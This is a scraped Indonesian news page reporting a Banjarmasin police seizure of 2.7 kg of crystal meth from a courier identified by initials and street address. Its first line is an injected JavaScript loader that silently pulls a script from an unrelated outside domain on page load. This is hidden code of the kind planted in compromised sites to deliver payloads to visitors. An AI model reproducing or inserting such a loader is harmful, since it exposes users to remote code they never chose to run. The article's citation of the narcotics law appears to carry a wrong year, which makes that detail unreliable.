(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

2,7 Kg Sabu Gagal Edar, Berhasil Diungkap Polresta Banjarmasin


BANJARMASIN, Jajaran Satnarkoba Polresta Banjarmasin berhasil menggagalkan peredaran narkoba jenis sabu seberat 2,7 kilogram.

Dalam keterangan persnya, Kapolresta Banjarmasin Kombes Sumarto mengungkapkan, kasus ini diungkap berdasarkan laporan dari masyarakat, jajaran Satnarkoba berhasil mengungkap peredaran barang haram ini.

“Barang bukti berupa 2.790 gram. Dan ini masih kita kembangkan,” kata Kombes Sumarto, sembari menunjukkan barang buktinya kepada awak media, Kamis (10/10).

Kombes Sumarto melanjutkan, berdasarkan pengakuan tersangka yang diketahui berinisial AFS diketahui sudah dua kali melakukan aksinya. “Kita bersyukur berhasil mengungkap,” ucapnya.

Diketahui, sabu seberat 2,7 Kg yang berhasil diamankan aparat kepolisian itu dapat menyelamatkan sedikitnya 41.580 jiwa. “Seandainya sudah tersebar menjadi paket hemat,” katanya.

Sementara itu, Kasat Narkoba Polresta Banjarmasin Kompol Wahyu Hidayat menambahkan, pelaku AFS telah dua kali melaksanakan aksinya. “Informasinya pertama 4 kilogram, yang kita amankan 2,7 kilogram. Hasil barang sementara kami selidiki,” kata Kompol Wahyu.

Kompol Wahyu menegaskan, status AFS merupakan seorang kurir. Sementara, AFS sendiri merupakan warga  Jalan Mangga Komplek Ar Rahim RT 26 Kelurahan Kebun Bunga Banjarmasin. “Kurir, pelaku warga Banjarmasin, pekerjaannya mahasiswa. Dan dia pekerja juga di perkreditan,” katanya. Diketahui, pelaku AFS diciduk di kawasan Mahat Kasan Banjarmasin pada Rabu (9/10).

Pelaku AFS sendiri, menurut Kompol Wahyu, diberi imbalan Rp10 juta setiap menjalankan aksinya. “Informasinya diupah (sebesar) Rp10 juta. Sebagai perantara,” tambahnya.

Kasus ini sendiri, masih terus didalami jajaran Satnarkoba Polresta Banjarmasin. Adapun pasal yang dikenakan kepada pelaku AFS yakni Pasal 112 ayat 2 UU Nomor 35 Tahun 2019 tentang Narkoba. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

34 menit ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

3 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

4 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

5 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

7 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

8 jam ago

This website uses cookies.